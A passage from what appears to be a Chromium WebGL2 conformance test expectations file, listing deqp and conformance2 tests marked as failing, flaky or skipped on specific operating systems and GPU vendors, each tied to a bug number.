self.Fail('deqp/functional/gles3/instancedrendering.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('deqp/functional/gles3/integerstatequery.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('deqp/functional/gles3/readpixel.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('deqp/functional/gles3/shaderderivate_dfdx.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('deqp/functional/gles3/shaderderivate_dfdy.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('deqp/functional/gles3/shaderderivate_fwidth.html', ['win', 'passthrough', 'd3d11'], bug=602688) self.Fail('deqp/functional/gles3/shaderstruct.html', ['win', 'passthrough', 'd3d11'], bug=602688) # Mac only. # Regressions in 10.12.4. self.Fail('conformance2/textures/misc/tex-base-level-bug.html', ['sierra'], bug=705865) self.Fail('conformance2/textures/misc/tex-mipmap-levels.html', ['sierra'], bug=705865) # Fails on multiple GPU types. self.Fail('conformance2/glsl3/vector-dynamic-indexing-swizzled-lvalue.html', ['mac'], bug=709351) self.Fail('conformance2/rendering/' + 'framebuffer-completeness-unaffected.html', ['mac', 'nvidia', 'intel'], bug=630800) self.Fail('deqp/functional/gles3/fbocompleteness.html', ['mac', 'nvidia', 'intel'], bug=630800) # Mac Retina NVIDIA self.Fail('deqp/functional/gles3/fbomultisample*', ['mac', ('nvidia', 0xfe9)], bug=641209) self.Fail('deqp/functional/gles3/framebufferblit/' + 'default_framebuffer_04.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('conformance/attribs/gl-disabled-vertex-attrib.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Flaky( 'conformance/extensions/webgl-compressed-texture-size-limit.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('conformance/programs/' + 'gl-bind-attrib-location-long-names-test.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('conformance/programs/gl-bind-attrib-location-test.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('conformance2/glsl3/loops-with-side-effects.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('conformance2/textures/misc/tex-input-validation.html', ['mac', ('nvidia', 0xfe9), 'no_angle'], bug=483282) self.Flaky('conformance2/textures/image_bitmap_from_video/' + 'tex-2d-rgba16f-rgba-half_float.html', ['mac', ('nvidia', 0xfe9)], bug=682834) self.Fail('deqp/functional/gles3/draw/random.html', ['sierra', ('nvidia', 0xfe9)], bug=716652) self.Fail('deqp/functional/gles3/framebufferblit/conversion_04.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_07.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_08.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_10.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_11.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_12.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_13.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_18.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_25.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_29.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_32.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_34.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/pixelbufferobject.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/negativevertexarrayapi.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/shaderindexing/varying.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/texturespecification/' + 'teximage2d_pbo_2d_00.html', ['mac', ('nvidia', 0xfe9)], bug=614174) self.Fail('deqp/functional/gles3/texturespecification/' + 'teximage2d_pbo_2d_01.html', ['mac', ('nvidia', 0xfe9)], bug=614174) self.Fail('deqp/functional/gles3/texturespecification/' + 'texsubimage2d_pbo_2d_00.html', ['mac', ('nvidia', 0xfe9)], bug=614174) self.Fail('deqp/functional/gles3/texturespecification/' + 'texsubimage2d_pbo_2d_01.html', ['mac', ('nvidia', 0xfe9)], bug=614174) self.Fail('deqp/functional/gles3/texturespecification/' + 'texsubimage2d_pbo_cube_00.html', ['mac', ('nvidia', 0xfe9)], bug=614174) self.Fail('deqp/functional/gles3/texturespecification/' + 'texsubimage2d_pbo_cube_01.html', ['mac', ('nvidia', 0xfe9)], bug=614174) self.Fail('deqp/functional/gles3/texturespecification/' + 'texsubimage2d_pbo_cube_02.html', ['mac', ('nvidia', 0xfe9)], bug=614174) self.Fail('deqp/functional/gles3/texturespecification/' + 'texsubimage2d_pbo_cube_03.html', ['mac', ('nvidia', 0xfe9)], bug=614174) self.Fail('deqp/functional/gles3/texturespecification/' + 'texsubimage2d_pbo_cube_04.html', ['mac', ('nvidia', 0xfe9)], bug=614174) self.Fail('deqp/functional/gles3/texturespecification/' + 'teximage3d_pbo_2d_array_00.html', ['mac', ('nvidia', 0xfe9)], bug=614174) self.Fail('deqp/functional/gles3/texturespecification/' + 'teximage3d_pbo_2d_array_01.html', ['mac', ('nvidia', 0xfe9)], bug=614174) self.Fail('deqp/functional/gles3/texturespecification/' + 'teximage3d_pbo_3d_00.html', ['mac', ('nvidia', 0xfe9)], bug=614174) self.Fail('deqp/functional/gles3/texturespecification/' + 'teximage3d_pbo_3d_01.html', ['mac', ('nvidia', 0xfe9)], bug=614174) self.Fail('deqp/functional/gles3/texturespecification/' + 'texsubimage3d_pbo_3d_00.html', ['mac', ('nvidia', 0xfe9)], bug=614174) self.Fail('deqp/functional/gles3/texturespecification/' + 'texsubimage3d_pbo_3d_01.html', ['mac', ('nvidia', 0xfe9)], bug=614174) self.Fail('deqp/functional/gles3/fragmentoutput/array.fixed.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/fragmentoutput/basic.fixed.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/fragmentoutput/random_00.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/fragmentoutput/random_01.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/fragmentoutput/random_02.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/fbocolorbuffer/clear.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/fbocolorbuffer/tex2d_05.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/fbocolorbuffer/tex2darray_05.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/fbocolorbuffer/tex3d_05.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/fbocolorbuffer/texcube_05.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/fbocolorbuffer/blend.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/draw/draw_arrays.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/draw/draw_arrays_instanced.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/draw/draw_elements.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/draw/draw_elements_instanced.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/draw/draw_range_elements.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/fboinvalidate/format_02.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/negativeshaderapi.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Flaky('deqp/functional/gles3/vertexarrays/' + 'multiple_attributes.output.html', ['mac', ('nvidia', 0xfe9)], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_28.html', ['mac', ('nvidia', 0xfe9)], bug=654187) self.Fail('deqp/functional/gles3/framebufferblit/conversion_30.html', ['mac', ('nvidia', 0xfe9)], bug=654187) self.Fail('deqp/functional/gles3/framebufferblit/conversion_31.html', ['mac', ('nvidia', 0xfe9)], bug=654187) self.Fail('deqp/functional/gles3/framebufferblit/conversion_33.html', ['mac', ('nvidia', 0xfe9)], bug=654187) # Mac AMD self.Fail('deqp/functional/gles3/transformfeedback/' + 'array_interleaved_lines.html', ['mac', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/transformfeedback/' + 'array_interleaved_points.html', ['mac', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/transformfeedback/' + 'array_interleaved_triangles.html', ['mac', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/transformfeedback/' + 'array_separate_lines.html', ['mac', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/transformfeedback/' + 'array_separate_points.html', ['mac', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/transformfeedback/' + 'array_separate_triangles.html', ['mac', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/transformfeedback/' + 'basic_types_interleaved_lines.html', ['mac', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/transformfeedback/' + 'basic_types_interleaved_points.html', ['mac', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/transformfeedback/' + 'basic_types_interleaved_triangles.html', ['mac', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/transformfeedback/' + 'basic_types_separate_lines.html', ['mac', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/transformfeedback/' + 'basic_types_separate_points.html', ['mac', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/transformfeedback/' + 'basic_types_separate_triangles.html', ['mac', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/transformfeedback/' + 'interpolation_centroid.html', ['mac', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/transformfeedback/' + 'interpolation_flat.html', ['mac', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/transformfeedback/' + 'interpolation_smooth.html', ['mac', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/transformfeedback/' + 'point_size.html', ['mac', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/transformfeedback/' + 'position.html', ['mac', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/transformfeedback/' + 'random_interleaved_lines.html', ['mac', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/transformfeedback/' + 'random_interleaved_points.html', ['mac', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/transformfeedback/' + 'random_interleaved_triangles.html', ['mac', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/transformfeedback/' + 'random_separate_lines.html', ['mac', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/transformfeedback/' + 'random_separate_points.html', ['mac', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/transformfeedback/' + 'random_separate_triangles.html', ['mac', 'amd'], bug=483282) self.Flaky('deqp/functional/gles3/shaderoperator/common_functions.html', ['mac', 'amd'], bug=702336) self.Flaky('deqp/functional/gles3/shaderindexing/mat_01.html', ['mac', 'amd'], bug=636648) self.Flaky('deqp/functional/gles3/shaderindexing/mat_02.html', ['mac', 'amd'], bug=644360) # These seem to be provoking intermittent GPU process crashes on # the MacBook Pros with AMD GPUs. self.Flaky('deqp/functional/gles3/texturefiltering/*', ['mac', 'amd'], bug=663601) self.Flaky('deqp/functional/gles3/textureshadow/*', ['mac', 'amd'], bug=663601) self.Flaky('deqp/functional/gles3/texturespecification/' + 'teximage2d_unpack_params.html', ['mac', 'amd'], bug=679058) self.Fail('conformance2/rendering/clipping-wide-points.html', ['mac', 'amd'], bug=642822) # Mac Pro with AMD GPU self.Flaky('deqp/functional/gles3/shaderindexing/tmp.html', ['mac', ('amd', 0x679e)], bug=659871) # Mac Intel # Regressions in 10.12.4 on Haswell GPUs. self.Fail('deqp/functional/gles3/fbocolorbuffer/tex2d_00.html', ['mac', ('intel', 0x0a2e)], bug=718194) self.Fail('deqp/functional/gles3/fboinvalidate/format_00.html', ['mac', ('intel', 0x0a2e)], bug=718194) self.Fail('deqp/functional/gles3/framebufferblit/' + 'default_framebuffer_05.html', ['mac', ('intel', 0x0a2e)], bug=718194) self.Fail('conformance2/rendering/framebuffer-texture-level1.html', ['mac', 'intel'], bug=680278) self.Fail('conformance2/textures/misc/angle-stuck-depth-textures.html', ['mac', 'intel'], bug=679692) self.Fail('deqp/functional/gles3/fbomultisample*', ['mac', 'intel'], bug=641209) self.Fail('deqp/functional/gles3/texturefiltering/2d_combinations_01.html', ['mac', 'intel'], bug=606074) self.Fail('deqp/functional/gles3/texturefiltering/' + 'cube_combinations_01.html', ['mac', 'intel'], bug=606074) self.Fail('deqp/functional/gles3/texturefiltering/' + '2d_array_combinations_01.html', ['mac', 'intel'], bug=606074) self.Fail('deqp/functional/gles3/texturefiltering/3d_combinations_06.html', ['mac', 'intel'], bug=606074) self.Fail('deqp/functional/gles3/texturefiltering/3d_combinations_07.html', ['mac', 'intel'], bug=606074) self.Fail('deqp/functional/gles3/texturefiltering/3d_combinations_08.html', ['mac', 'intel'], bug=606074) self.Fail('deqp/functional/gles3/texturespecification/' + 'random_teximage2d_2d.html', ['mac', 'intel'], bug=483282) self.Fail('deqp/functional/gles3/shadertexturefunction/' + 'texturelod.html', ['mac', 'intel'], bug=483282) self.Fail('deqp/functional/gles3/shadertexturefunction/' + 'texturegrad.html', ['mac', 'intel'], bug=483282) self.Fail('deqp/functional/gles3/shadertexturefunction/' + 'textureprojgrad.html', ['mac', 'intel'], bug=483282) self.Fail('conformance2/textures/canvas_sub_rectangle/' + 'tex-2d-r8ui-red_integer-unsigned_byte.html', ['yosemite', 'intel'], bug=665656) self.Fail('conformance2/textures/canvas_sub_rectangle/' + 'tex-2d-rg8ui-rg_integer-unsigned_byte.html', ['yosemite', 'intel'], bug=665656) self.Fail('conformance2/textures/canvas_sub_rectangle/' + 'tex-2d-rgb8ui-rgb_integer-unsigned_byte.html', ['yosemite', 'intel'], bug=665656) self.Fail('conformance2/textures/canvas_sub_rectangle/' + 'tex-2d-rgba8ui-rgba_integer-unsigned_byte.html', ['yosemite', 'intel'], bug=665656) self.Fail('conformance2/textures/image_data/' + 'tex-2d-rgba8ui-rgba_integer-unsigned_byte.html', ['mac', 'intel'], bug=665197) self.Fail('conformance2/textures/image_data/' + 'tex-2d-rgb8ui-rgb_integer-unsigned_byte.html', ['mac', 'intel'], bug=665197) self.Fail('conformance2/textures/image_data/' + 'tex-2d-rg8ui-rg_integer-unsigned_byte.html', ['mac', 'intel'], bug=665197) self.Fail('conformance2/textures/misc/' + 'integer-cubemap-texture-sampling.html', ['mac', 'intel'], bug=658930) # Linux only. self.Flaky('conformance/textures/video/' + 'tex-2d-rgba-rgba-unsigned_byte.html', ['linux'], bug=627525) self.Flaky('conformance/textures/video/' + 'tex-2d-rgba-rgba-unsigned_short_4_4_4_4.html', ['linux'], bug=627525) self.Flaky('conformance/textures/video/' + 'tex-2d-rgba-rgba-unsigned_short_5_5_5_1.html', ['linux'], bug=627525) self.Flaky('conformance/textures/video/' + 'tex-2d-rgb-rgb-unsigned_byte.html', ['linux'], bug=627525) self.Flaky('conformance/textures/video/' + 'tex-2d-rgb-rgb-unsigned_short_5_6_5.html', ['linux'], bug=627525) self.Fail('conformance2/glsl3/vector-dynamic-indexing-nv-driver-bug.html', ['linux'], bug=483282) self.Fail('conformance2/textures/image_bitmap_from_image/' + 'tex-3d-r16f-red-float.html', ['linux'], bug=679695) # Linux Multi-vendor failures. self.Skip('deqp/data/gles3/shaders/qualification_order.html', ['linux', 'amd', 'intel'], bug=483282) self.Flaky('deqp/functional/gles3/texturespecification/' + 'random_teximage2d_2d.html', ['linux', 'amd', 'intel'], bug=618447) self.Fail('conformance2/rendering/clipping-wide-points.html', ['linux', 'amd', 'intel'], bug=662644) # WebGL 2.0.1 # Linux NVIDIA # This test is flaky both with and without ANGLE. self.Flaky('deqp/functional/gles3/texturespecification/' + 'random_teximage2d_2d.html', ['linux', 'nvidia'], bug=618447) self.Fail('conformance/glsl/bugs/unary-minus-operator-float-bug.html', ['linux', 'nvidia'], bug=672380) self.Fail('conformance2/glsl3/vector-dynamic-indexing-swizzled-lvalue.html', ['linux', 'nvidia'], bug=709351) self.Fail('conformance2/textures/image_bitmap_from_canvas/' + 'tex-3d-srgb8_alpha8-rgba-unsigned_byte.html', ['linux', 'nvidia'], bug=679677) self.Fail('conformance2/rendering/framebuffer-texture-level1.html', ['linux', 'nvidia', 'opengl'], bug=680278) self.Fail('conformance2/textures/image/' + 'tex-3d-rg8ui-rg_integer-unsigned_byte.html', ['linux', ('nvidia', 0xf02)], bug=680282) self.Flaky('conformance2/textures/image_bitmap_from_image_data/' + 'tex-2d-srgb8-rgb-unsigned_byte.html', ['linux', 'nvidia'], bug=694354) # Linux NVIDIA Quadro P400 # This test causes a lost device and then the next test fails. self.Skip('conformance2/rendering/blitframebuffer-size-overflow.html', ['linux', ('nvidia', 0x1cb3)], bug=709320) # Linux Intel self.Fail('conformance2/extensions/ext-color-buffer-float.html', ['linux', 'intel'], bug=640389) self.Fail('WebglExtension_EXT_disjoint_timer_query_webgl2', ['linux', 'intel'], bug=687210) # See https://bugs.freedesktop.org/show_bug.cgi?id=94477 self.Skip('conformance/glsl/bugs/temp-expressions-should-not-crash.html', ['linux', 'intel'], bug=540543) # GPU timeout self.Fail('deqp/functional/gles3/fbomultisample.8_samples.html', ['linux', 'intel'], bug=635528) self.Fail('conformance2/textures/misc/tex-subimage3d-pixel-buffer-bug.html', ['linux', 'intel'], bug=662644) # WebGL 2.0.1 self.Fail('deqp/functional/gles3/shadertexturefunction/texturesize.html', ['linux', 'intel'], bug=666384) self.Fail('conformance2/textures/misc/tex-3d-mipmap-levels-intel-bug.html', ['linux', 'intel'], bug=666384) # Fails on Intel Mesa GL 3.3, passes on Intel Mesa GL 4.5. self.Fail('conformance2/misc/views-with-offsets.html', ['linux', 'intel', 'no_angle'], bug=664180) # Linux Intel with ANGLE only self.Fail('deqp/functional/gles3/framebufferblit/conversion_07.html', ['linux', 'intel', 'opengl'], bug=598902) self.Fail('conformance2/rendering/blitframebuffer-filter-srgb.html', ['linux', 'intel', 'opengl'], bug=680276) self.Fail('conformance2/rendering/blitframebuffer-outside-readbuffer.html', ['linux', 'intel', 'opengl'], bug=680276) # Linux Intel HD 530 self.Fail('conformance/extensions/webgl-compressed-texture-astc.html', ['linux', 'intel'], bug=680720) self.Fail('conformance2/rendering/blitframebuffer-filter-outofbounds.html', ['linux', 'intel'], bug=680720) self.Fail('conformance2/rendering/blitframebuffer-filter-srgb.html', ['linux', 'intel', 'no_angle'], bug=680720) self.Fail('conformance2/rendering/blitframebuffer-outside-readbuffer.html', ['linux', 'intel', 'no_angle'], bug=680720) self.Fail('deqp/functional/gles3/framebufferblit/conversion_04.html', ['linux', 'intel'], bug=680720) self.Fail('deqp/functional/gles3/framebufferblit/conversion_08.html', ['linux', 'intel'], bug=680720) self.Fail('deqp/functional/gles3/framebufferblit/conversion_10.html', ['linux', 'intel'], bug=680720) self.Fail('deqp/functional/gles3/framebufferblit/conversion_11.html', ['linux', 'intel'], bug=680720) self.Fail('deqp/functional/gles3/framebufferblit/conversion_12.html', ['linux', 'intel'], bug=680720) self.Fail('deqp/functional/gles3/framebufferblit/conversion_13.html', ['linux', 'intel'], bug=680720) self.Fail('deqp/functional/gles3/framebufferblit/conversion_18.html', ['linux', 'intel'], bug=680720) self.Fail('deqp/functional/gles3/framebufferblit/conversion_25.html', ['linux', 'intel'], bug=680720) self.Fail('deqp/functional/gles3/framebufferblit/conversion_28.html', ['linux', 'intel'], bug=680720) self.Fail('deqp/functional/gles3/framebufferblit/conversion_29.html', ['linux', 'intel'], bug=680720) self.Fail('deqp/functional/gles3/framebufferblit/conversion_30.html', ['linux', 'intel'], bug=680720) self.Fail('deqp/functional/gles3/framebufferblit/conversion_31.html', ['linux', 'intel'], bug=680720) self.Fail('deqp/functional/gles3/framebufferblit/conversion_32.html', ['linux', 'intel'], bug=680720) self.Fail('deqp/functional/gles3/framebufferblit/conversion_33.html', ['linux', 'intel'], bug=680720) self.Fail('deqp/functional/gles3/framebufferblit/conversion_34.html', ['linux', 'intel'], bug=680720) self.Fail('deqp/functional/gles3/framebufferblit/' + 'default_framebuffer_00.html', ['linux', 'intel'], bug=680720) self.Fail('conformance2/glsl3/' + 'vector-dynamic-indexing-swizzled-lvalue.html', ['linux', 'intel'], bug=709874) # Intermittently running out of memory. self.Flaky('deqp/functional/gles3/texturefiltering/*', ['linux', 'intel'], bug=725664) self.Flaky('deqp/functional/gles3/textureformat/*', ['linux', 'intel'], bug=725664) self.Flaky('deqp/functional/gles3/textureshadow/*', ['linux', 'intel'], bug=725664) self.Flaky('deqp/functional/gles3/texturespecification/*', ['linux', 'intel'], bug=725664) # Linux AMD only. # It looks like AMD shader compiler rejects many valid ES3 semantics. self.Fail('conformance/glsl/misc/shaders-with-invariance.html', ['linux', 'amd'], bug=483282) self.Fail('conformance2/glsl3/vector-dynamic-indexing-swizzled-lvalue.html', ['linux', 'amd'], bug=709351) self.Fail('deqp/functional/gles3/multisample.html', ['linux', 'amd'], bug=617290) self.Fail('deqp/data/gles3/shaders/conversions.html', ['linux', 'amd'], bug=483282) self.Skip('deqp/data/gles3/shaders/arrays.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/internalformatquery.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/texturestatequery.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/buffercopy.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/samplerobject.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/shaderprecision_int.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/texturefiltering/3d*', ['linux', 'amd'], bug=606114) self.Fail('deqp/functional/gles3/shadertexturefunction/texture.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/shadertexturefunction/texturegrad.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/shadertexturefunction/' + 'texelfetchoffset.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/vertexarrays/' + 'single_attribute.first.html', ['linux', 'amd'], bug=694877) self.Fail('deqp/functional/gles3/negativetextureapi.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/transformfeedback/array_separate*.html', ['linux', 'amd'], bug=483282) self.Fail('conformance2/misc/uninitialized-test-2.html', ['linux', 'amd'], bug=483282) self.Fail('conformance2/reading/read-pixels-from-fbo-test.html', ['linux', 'amd'], bug=483282) self.Fail('conformance2/rendering/blitframebuffer-filter-srgb.html', ['linux', 'amd'], bug=634525) self.Fail('conformance2/rendering/blitframebuffer-outside-readbuffer.html', ['linux', 'amd'], bug=662644) # WebGL 2.0.1 self.Fail('conformance2/renderbuffers/framebuffer-texture-layer.html', ['linux', 'amd'], bug=295792) self.Fail('conformance2/textures/misc/tex-mipmap-levels.html', ['linux', 'amd'], bug=483282) self.Fail('conformance2/textures/misc/copy-texture-image-luma-format.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/texturespecification/' + 'teximage2d_pbo_cube_00.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/texturespecification/' + 'teximage2d_pbo_cube_01.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/texturespecification/' + 'teximage2d_pbo_cube_02.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/texturespecification/' + 'teximage2d_pbo_cube_03.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/texturespecification/' + 'teximage2d_pbo_cube_04.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/texturespecification/' + 'teximage2d_pbo_params.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/texturespecification/' + 'teximage2d_depth_pbo.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/texturespecification/' + 'basic_copyteximage2d.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/texturespecification/' + 'basic_teximage3d_3d_00.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/texturespecification/' + 'basic_teximage3d_3d_01.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/texturespecification/' + 'basic_teximage3d_3d_02.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/texturespecification/' + 'basic_teximage3d_3d_03.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/texturespecification/' + 'basic_teximage3d_3d_04.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/texturespecification/' + 'texstorage2d_format_depth_stencil.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/texturespecification/' + 'texstorage3d_format_2d_array_00.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/texturespecification/' + 'texstorage3d_format_2d_array_01.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/texturespecification/' + 'texstorage3d_format_2d_array_02.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/texturespecification/' + 'texstorage3d_format_3d_00.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/texturespecification/' + 'texstorage3d_format_3d_01.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/texturespecification/' + 'texstorage3d_format_3d_02.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/texturespecification/' + 'texstorage3d_format_3d_03.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/texturespecification/' + 'texstorage3d_format_depth_stencil.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/texturespecification/' + 'texstorage3d_format_size.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/vertexarrays/' + 'single_attribute.output_type.unsigned_int.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/draw/*.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/fbomultisample*', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/fbocompleteness.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/textureshadow/*.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/shadermatrix/mul_dynamic_highp.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/shadermatrix/mul_dynamic_lowp.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/shadermatrix/mul_dynamic_mediump.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/shadermatrix/pre_decrement.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_04.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_07.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_08.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_10.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_11.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_12.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_13.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_18.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_25.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_28.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_29.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_30.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_31.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_32.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_33.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/conversion_34.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/framebufferblit/' + 'default_framebuffer_00.html', ['linux', 'amd'], bug=658832) self.Fail('deqp/functional/gles3/shaderoperator/unary_operator_01.html', ['linux', 'amd'], bug=483282) self.Fail('deqp/functional/gles3/shaderoperator/unary_operator_02.html', ['linux', 'amd'], bug=483282) self.Fail('conformance2/glsl3/vector-dynamic-indexing.html', ['linux', 'amd'], bug=483282) self.Fail('conformance2/reading/read-pixels-pack-parameters.html', ['linux', 'amd', 'no_angle'], bug=483282) self.Fail('conformance2/textures/misc/tex-unpack-params.html', ['linux', 'amd', 'no_angle'], bug=483282) self.Fail('conformance2/extensions/ext-color-buffer-float.html', ['linux', 